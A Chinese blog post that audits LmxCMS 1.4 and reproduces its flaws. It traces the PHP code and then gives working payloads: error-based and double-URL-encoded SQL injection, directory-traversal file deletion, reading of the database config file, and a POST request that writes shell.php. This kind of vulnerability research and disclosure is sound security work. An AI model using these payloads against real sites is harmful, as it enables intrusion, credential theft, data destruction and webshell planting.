代码审计-lmxcms1.4-前后台注入漏洞复现

提示:文章内的相关技术仅供学习,禁止用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。


一、漏洞概述

LmxCMS V1.4 后台存在参数过滤不当导致SQL注入,任意文件读取、上传。目录穿越导致任意文件删除。前台存在代码处理逻辑错误导致SQL注入。


二、代码审计

0x01 后台SQL注入

影响文件c\admin\BookAction.class.php

    //回复留言
    public function reply(){
        $id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
        //获取回复数据
        $reply = $this->bookModel->getReply(array($id));

 定义函数reply()传入参数$id,由getReply()执行赋值,转到声明看看

    //根据留言id获取全部回复
    public function getReply(array $id){
        $id = implode(',',$id);
        $param['where'] = 'uid in('.$id.')';
        return parent::selectModel($param);
    }

又赋值给$param,跳到 selectModel()

    //获取数据
    protected function selectModel($param=array()){
       if($param['field']){
           $this->field=$param['field'];
       }
       return parent::selectDB($this->tab['0'],$this->field,$param);
    }

看到关键函数selectDB(),查询数据库,接下里应该就是sql执行语句了

    //查询
    protected function selectDB($tab,Array $field,$param=array()){
        $arr = array();
        $field = implode(',',$field);
        $force = '';
        //强制进入某个索引
        if($param['force']) $force = ' force index('.$param['force'].')';
        if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
        $sqlStr = $this->where($param);
        $sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
        echo $sql;
        $result=$this->query($sql);
        while(!!$a=mysql_fetch_assoc($result)){
            $arr[]=$a;
        }
        $this->result($result);
        return $arr;
    }

看到了sql执行语句 ,这里不妨输出验证一下能不能控制这个语句

url:localhost:8787/admin.php?m=book&a=reply&id=233

 0x02 后台任意文件删除 

 影响文件c\admin\BackdbAction.class.php

    //删除备份文件
    public function delbackdb(){
        $filename = trim($_GET['filename']);
        if(!$filename){
            rewrite::js_back('备份文件不存在');
        }
        $this->delOne($filename);
        addlog('删除数据库备份文件');
        rewrite::succ('删除成功');
    }

 传入参数$filename,转到delOne()

    //根据文件名删除一条备份文件
    private function delOne($filename){
        $dir = ROOT_PATH.'file/back/'.$filename;
        file::unLink($dir);
    }
}

 这里并没有对变量$dir进行过滤就带入方法unLink()内执行了

    //删除文件
    public static function unLink($path){
        if($path == ROOT_PATH) return;
        if(is_file($path)){
            if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
            return true;
        }
    }

直接带入$path路径执行代码 

0x03 前台注入 

影响文件c\index\TagsAction.class.php

    public function __construct() {
        parent::__construct();
        $data = p(2,1,1);
        $name = string::delHtml($data['name']);
        if(!$name) _404();
        $name = urldecode($name);
        if($this->tagsModel == null) $this->tagsModel = new TagsModel();
        $this->data = $this->tagsModel->getNameData($name);
        if(!$this->data) _404();
    }

转到p()函数查看声明

function p($type=1,$pe=false,$sql=false,$mysql=false){
    if($type == 1){
        $data = $_POST;
    }else if($type == 2){
        $data = $_GET;
    }else{
        $data = $type;
    }
    if($sql) filter_sql($data);
    if($mysql) mysql_retain($data);
    foreach($data as $k => $v){
        if(is_array($v)){
            $newdata[$k] = p($v,$pe,$sql,$mysql);
        }else{
            if($pe){
                $newdata[$k] = string::addslashes($v);
            }else{
                $newdata[$k] = trim($v);
            }
        }
    }
    return $newdata;
}

$type 1:post数据,2:get数据,否则为$type
可以发现$data是用来接受数据的
$pe 是否转义$mysql
$sql 是否验证sql非法字符,存在过滤函数filter_sql()
$mysql 是否验证mysql保留字符

//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
    foreach($data as $v){
        if(is_array($v)){
            filter_sql($v);
        }else{
            //转换小写
            $v = strtolower($v);
            if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
                rewrite::js_back('【'.$v.'】数据非法');
            }
        }
    }
}

正则表达式过滤,不好绕过,于是回到TagsAction.class.php检查代码,将处理好的data数据发送给$name,然后调用了delhtml(),发现delhtml()作用是去除html中的<>符号,意义不大,但是接着往下看发现了urldecode()函数

<?php
$str = "w3cschool%E4%BD%A0%E5%A5%BD";
echo urldecode($str);
?>

#执行结果:w3cschool你好

网上查阅资料发现urldecode() 用于解码 URL 字符串函数。分析代码知道data是先进行过滤再进行解码,这里有执行逻辑错误,那么试想一下,浏览器本身会解码一次,代码解码一次,能否采用双重url编码进行绕过呢,继续跟踪代码

    public function __construct() {
        parent::__construct();
        $data = p(2,1,1);
        $name = string::delHtml($data['name']);
        if(!$name) _404();
        $name = urldecode($name);
        if($this->tagsModel == null) $this->tagsModel = new TagsModel();
        $this->data = $this->tagsModel->getNameData($name);
        if(!$this->data) _404();
    }

跟踪getNameData()

    //根据Tags名字返回id
    public function getNameData($name){
        $param['where'] = "name = '$name'";
        return parent::oneModel($param);
    }

跟踪oneModel()

    //获取一条数据
    protected function oneModel($param){
        return parent::oneDB($this->tab['0'],$this->field,$param);
    }

 跟踪oneDB()

    protected function oneDB($tab,Array $field,Array $param){
        $field = implode(',',$field);
        $force = '';
        //强制进入某个索引
        if($param['force']) $force = ' force index('.$param['force'].')';
        if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
        $We = $this->where($param);
        $sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
        echo $sql; //判断是否可控
        $result=$this->query($sql);
        $data = mysql_fetch_assoc($result);
        return $data ? $data : array();
    }

找到执行代码,测试是否可控,注意闭合单引号

测试过滤

 

 0x04 任意文件读取

影响文件class/file.class.php,c/admin/TemplateAction.class.php

    //获取文件内容
    public static function getcon($path){
        if(is_file($path)){
            if(!$content = file_get_contents($path)){
                rewrite::js_back('请检查【'.$path.'】是否有读取权限');
            }else{
                return $content;
            }
        }else{
            rewrite::js_back('请检查【'.$path.'】文件是否存在');
        }
    }

全局搜索发现带有参数传递的file_get_contents() 方法,跟踪看看谁调用了getcon()

    //编辑和查看文件与图像
    public function editfile(){
        $dir = $_GET['dir'];
        //保存修改
        if(isset($_POST['settemcontent'])){
            if($this->config['template_edit']){
                rewrite::js_back('系统设置禁止修改模板文件');
            }
            file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
            addlog('修改模板文件'.$this->config['template'].$dir);
            rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
            exit();
        }
        $pathinfo = pathinfo($dir);
        //获取文件内容
        $content = string::html_char(file::getcon($this->config['template'].$dir));

        $this->smarty->assign('filename',$pathinfo['basename']);
        $this->smarty->assign('temcontent',$content);
        $this->smarty->assign('dir',dirname($_GET['dir']));
        $this->smarty->display('Template/temedit.html');
    }

editfile()调用了getcon($this->config['template'].$dir),$dir由GET传参且没有任何过滤,现在得到的结果就是可以读取config['template']路径下的任意文件了,输出看看config['template']是什么

url:http://localhost:8787/admin.php?m=Template&a=editfile&dir=1

随便传一个dir参数提示路径下文件不存在,由此可知config['template']就是template/

再template目录下创建一个1.txt文件

成功读取 

0x05 任意文件上传 

影响文件class/file.class.php,c/admin/TemplateAction.class.php

    //保存文件
    public static function put($path,$data){
        if(file_put_contents($path,$data) === false)
            rewrite::js_back('请检查【'.$path.'】是否有读写权限');
    }

思路和任意文件读取一样,找到带有参数传递的写入文件函数 file_put_contents(),找到声明,看看谁调用了

    //编辑和查看文件与图像
    public function editfile(){
        $dir = $_GET['dir'];
        //保存修改
        if(isset($_POST['settemcontent'])){
            if($this->config['template_edit']){
                rewrite::js_back('系统设置禁止修改模板文件');
            }
            file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
            addlog('修改模板文件'.$this->config['template'].$dir);
            rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
            exit();
        }

file:put就是put(),这里传入了两个参数,一个是路径对应着put()的$path,一个内容,对应$data。根据代码逻辑,当POST传参变量settemcontent存在时执行下面函数,可以先通过POST请求让settemcontent不为空,再写入要上传的文件名和内容实现上传文件

 

三、漏洞利用


0x01 后台SQL注入

利用报错注入

payload:/admin.php?m=book&a=reply&id=233 and updatexml(0,concat(0x7e,user()),1)

执行结果

0x02 后台任意文件删除

现在根目录下创建一个任意文件

目录穿越/file/back回到根目录删除任意文件

url:localhost:8787/admin.php?m=backdb&a=delbackdb&filename=../../s.txt

根目录下s.txt已被删除 

0x03 前台注入

用编码软件对报错注入语句'1 and updatexml(0,concat(0x7e,user()),1)#进行二次编码

payload:/?m=Tags&name=%25%33%31%25%32%37%25%36%31%25%36%45%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%44%25%36%43%25%32%38%25%33%30%25%32%43%25%36%33%25%36%46%25%36%45%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%43%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%43%25%33%31%25%32%39%25%32%33

 

 

0x04 任意代码读取 

调用Template模块的editfile方法构造url,尝试读取inc目录下的数据库信息文件db.inc.php\

payload:admin.php?m=Template&a=editfile&dir=../inc/db.inc.php

成功读取,这里还可以修改该文件下的代码

 

0x05 任意文件上传

调用Template模块的editfile方法构造url,dir不知道文件名设置为空,以POST请求转递参数,使settemcontent不为空,filename为上传的文件名,temcontent为文件内容

payload:admin.php?m=Template&a=editfile&dir=
POST:settemcontent=1&filename=shell.php&temcontent=<?php phpinfo();?>

 

 可以看到在temolate文件夹内成功上传了shell,php文件,类似地,若是上传至根目录,则将dir参数改为../,再POST方式上传settemcontent=1&filename=shell.php&temcontent=<?php phpinfo();?>等参数

payload:admin.php?m=Template&a=editfile&dir=../

 

 


四、总结

通过黑盒测试和代码审计发现,lmxcms V1.4存在多处注入漏洞,和代码逻辑层面的错误,这些漏洞可能导致未授权用户执行恶意SQL语句,从而窃取、篡改或删除系统数据。还可能导致系统行为异常、功能失效或安全策略被绕过。应加强系统的安全防护措施确保系统的安全性。

  • 17
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
lmxcms1.4更新内容包括: 增加功能: 增加采集功能,采集功能非常强大,绝对可比拟市面上的任何cms的采集功能 增加上传图片生成缩略图可以根据宽度自动缩放高度比例 增加tags可以绑定栏目 增加随机信息调用标签 randdata 使用方法看手册 增加随机调用tags标签 randtags 使用方法看手册 后台去除嵌入广告 修功能: 数据库恢(注意:请在升级完成后重新备份数据库,避免以备份过的无法恢) 搜索时间间隔参数无效的bug 修执行sql语句由于表缀导致的错误 相关链接标签链接有误的bug lmxcms基于php语言和mysql数据库开发,系统采用业界流行的MVC设计模式开发,使得系统结构更加清晰明了,便于进行二次开发和管理,并且lmxcms内嵌了smarty模板引擎,使程序与模板分离,如果您足够了解lmxcms完全可以自定义模板标签。 lmxcms1.4主要包括以下功能: 自定义模型:可以完全自由的根据网站需要添加修改所需字段。系统安装默认自带新闻模型和产品模型。 纯静态html生成:支持纯静态html生成,不仅可以减少数据库请求,加快页面载入速度,也更加适合搜索引擎优化(SEO)。 自定义表单:可以自由创建表单字段,每个表单可以自由组合表单所需要字段。 站内搜索:自由组合搜索条件,包括按照模型、栏目、字段、搜索模板、时间范围等,并且支持搜索关键字记录。 友情链接:支持文字和图片形式的友情链接。 广告系统:后台支持文字、图片、html三种形式的广告系统。 在线留言:支持自定义开启和关闭留言板,留言板页面支持调用留言数据。 焦点图系统:后台可以创建焦点图片,并且系统默认了5种样式的焦点图。 数据备份:后台可以备份和恢数据库,并且可以自由下载数据库到本地。 模板管理:后台支持自定义切换模板风格,支持在线编辑模板(需要修改配置文件)。 文件管理:系统内嵌了swfupload上传插件,可以在文件管理里面来管理后台上传的各种图片、文件、附件等。 扩展变量:支持自定义扩展变量,可以在模板任意处输出该变量内容。 日志操作:后台的每一个操作都会记录到日志操作中,有需要时查看。 Tags功能:支持tags标签功能,增加信息可以选择或者自动创建,每个tags标签也可以定义不同的模板。 采集系统:支持图片远程保存,图片的各种处理等。 专题功能:支持自定义创建专题功能,增加信息可以选择专题,每个专题可以定义不同模板等。 自动、手动分词:增加、修改信息时,可以选择自动把正文或者标题提取为关键字功能。 提取描述:增加信息时可以选择自动提取正文中的第一段为描述信息。        相关阅读 同类推荐:lmxcms后台密码找回插件 企业网站源码
lmxcms基于php语言和mysql数据库开发,系统采用业界流行的MVC设计模式开发,使得系统结构更加清晰明了,便于进行二次开发和管理,并且lmxcms内嵌了smarty模板引擎,使程序与模板分离,如果您足够了解lmxcms完全可以自定义模板标签。 lmxcms1.4主要包括以下功能: 自定义模型:可以完全自由的根据网站需要添加修改所需字段。系统安装默认自带新闻模型和产品模型。 纯静态html生成:支持纯静态html生成,不仅可以减少数据库请求,加快页面载入速度,也更加适合搜索引擎优化(SEO)。 自定义表单:可以自由创建表单字段,每个表单可以自由组合表单所需要字段。 站内搜索:自由组合搜索条件,包括按照模型、栏目、字段、搜索模板、时间范围等,并且支持搜索关键字记录。 友情链接:支持文字和图片形式的友情链接。 广告系统:后台支持文字、图片、html三种形式的广告系统。 在线留言:支持自定义开启和关闭留言板,留言板页面支持调用留言数据。 焦点图系统:后台可以创建焦点图片,并且系统默认了5种样式的焦点图。 数据备份:后台可以备份和恢数据库,并且可以自由下载数据库到本地。 模板管理:后台支持自定义切换模板风格,支持在线编辑模板(需要修改配置文件)。 文件管理:系统内嵌了swfupload上传插件,可以在文件管理里面来管理后台上传的各种图片、文件、附件等。 扩展变量:支持自定义扩展变量,可以在模板任意处输出该变量内容。 **志操作:后台的每一个操作都会记录到**志操作中,有需要时查看。 Tags功能:支持tags标签功能,增加信息可以选择或者自动创建,每个tags标签也可以定义不同的模板。 采集系统:支持图片远程保存,图片的各种处理等。 专题功能:支持自定义创建专题功能,增加信息可以选择专题,每个专题可以定义不同模板等。 自动、手动分词:增加、修改信息时,可以选择自动把正文或者标题提取为关键字功能。 提取描述:增加信息时可以选择自动提取正文中的第一段为描述信息。 lmxcms1.4更新内容包括: 增加功能: 增加采集功能,采集功能非常强大,绝对可比拟市面上的任何cms的采集功能 增加上传图片生成缩略图可以根据宽度自动缩放高度比例 增加tags可以绑定栏目 增加随机信息调用标签 randdata 使用方法看手册 增加随机调用tags标签 randtags 使用方法看手册 后台去除嵌入广告 修功能: 数据库恢(注意:请在升级完成后重新备份数据库,避免以备份过的无法恢) 搜索时间间隔参数无效的bug 修执行sql语句由于表缀导致的错误 相关链接标签链接有误的bug
lmxcms基于php语言和mysql数据库开发,系统采用业界流行的MVC设计模式开发,使得系统结构更加清晰明了,便于进行二次开发和管理,并且lmxcms内嵌了smarty模板引擎,使程序与模板分离,如果您足够了解lmxcms完全可以自定义模板标签。 lmxcms主要包括以下功能: 自定义模型:可以完全自由的根据网站需要添加修改所需字段。系统安装默认自带新闻模型和产品模型。 纯静态html生成:支持纯静态html生成,不仅可以减少数据库请求,加快页面载入速度,也更加适合搜索引擎优化(SEO)。 自定义表单:可以自由创建表单字段,每个表单可以自由组合表单所需要字段。 站内搜索:自由组合搜索条件,包括按照模型、栏目、字段、搜索模板、时间范围等,并且支持搜索关键字记录。 友情链接:支持文字和图片形式的友情链接。 广告系统:后台支持文字、图片、html三种形式的广告系统。 在线留言:支持自定义开启和关闭留言板,留言板页面支持调用留言数据。 焦点图系统:后台可以创建焦点图片,并且系统默认了5种样式的焦点图。 数据备份:后台可以备份和恢数据库,并且可以自由下载数据库到本地。 模板管理:后台支持自定义切换模板风格,支持在线编辑模板(需要修改配置文件)。 文件管理:系统内嵌了swfupload上传插件,可以在文件管理里面来管理后台上传的各种图片、文件、附件等。 扩展变量:支持自定义扩展变量,可以在模板任意处输出该变量内容。 日志操作:后台的每一个操作都会记录到日志操作中,有需要时查看。 Tags功能:支持tags标签功能,增加信息可以选择或者自动创建,每个tags标签也可以定义不同的模板。 专题功能:支持自定义创建专题功能,增加信息可以选择专题,每个专题可以定义不同模板等。 自动、手动分词:增加、修改信息时,可以选择自动把正文或者标题提取为关键字功能。 提取描述:增加信息时可以选择自动提取正文中的第一段为描述信息。 lmxcms v1.3 更新日志: lmxcms1.3增加功能: 加入专题功能 加入tags标签功能 静态模式下可以使用中文路径(服务器或者空间必须支持中文文件夹),否则为拼音模式,可以在 config.inc.php中设置路径模式 加入伪静态访问模式 加入栏目绑定域名功能 需要配合域名解析 加入后台登录密码错误次数限制 加入控制后台操作日志开关 /inc/config.inc.php 参数控制 增加设置内容信息关键字和关键字链接 增加提取正文为描述信息 增加提取标题或正文为关键字 修改内容信息页面布局 lmxcms1.3修: 修图片上传、水印错误 修删除图片、文件不删除本地文件的错误 修数据库备份因数据量过大导致内存溢出错误,优化数据库备份、恢、下载功能

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值